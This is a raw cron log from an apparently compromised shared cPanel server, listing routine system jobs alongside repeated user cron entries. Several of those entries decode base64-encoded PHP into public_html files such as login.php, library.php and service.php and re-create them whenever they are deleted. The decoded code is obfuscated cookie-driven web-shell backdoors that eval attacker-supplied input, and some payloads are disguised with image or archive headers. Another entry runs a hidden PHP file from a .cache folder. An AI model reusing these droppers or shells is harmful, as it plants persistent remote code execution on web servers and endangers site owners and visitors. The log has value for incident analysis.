Jun  7 05:38:01 medusa CROND[1652]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 05:39:02 medusa CROND[3210]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Jun  7 05:39:02 medusa CROND[3214]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:39:02 medusa CROND[3215]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 05:39:02 medusa CROND[3216]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 05:39:02 medusa CROND[3217]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 05:39:02 medusa CROND[3219]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 05:39:02 medusa CROND[3218]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:39:02 medusa CROND[3220]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 05:39:02 medusa CROND[3226]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 05:39:02 medusa CROND[3221]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Jun  7 05:39:02 medusa CROND[3227]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:39:02 medusa CROND[3229]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Jun  7 05:39:02 medusa CROND[3231]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:39:02 medusa CROND[3232]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 05:40:01 medusa CROND[4855]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Jun  7 05:40:01 medusa CROND[4859]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Jun  7 05:40:01 medusa CROND[4865]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Jun  7 05:40:01 medusa CROND[4867]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Jun  7 05:40:01 medusa CROND[4868]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Jun  7 05:40:01 medusa CROND[4869]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 05:40:01 medusa CROND[4870]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Jun  7 05:40:01 medusa CROND[4871]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Jun  7 05:40:01 medusa CROND[4875]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:40:01 medusa CROND[4877]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:40:01 medusa CROND[4908]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 05:40:01 medusa CROND[4909]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Jun  7 05:40:01 medusa CROND[4910]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Jun  7 05:40:01 medusa CROND[4911]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 05:40:01 medusa CROND[4912]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Jun  7 05:40:01 medusa CROND[4929]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 05:40:01 medusa CROND[4933]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:40:01 medusa CROND[4934]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 05:40:01 medusa CROND[4935]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 05:40:01 medusa CROND[4943]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 05:40:01 medusa CROND[4941]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Jun  7 05:40:01 medusa CROND[4936]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Jun  7 05:40:01 medusa CROND[4940]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Jun  7 05:40:01 medusa CROND[4948]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:40:01 medusa CROND[4927]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 05:40:01 medusa CROND[4928]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Jun  7 05:40:01 medusa CROND[4937]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Jun  7 05:40:01 medusa CROND[4949]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Jun  7 05:41:01 medusa CROND[6593]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 05:41:01 medusa CROND[6617]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Jun  7 05:41:01 medusa CROND[6618]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Jun  7 05:41:01 medusa CROND[6621]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
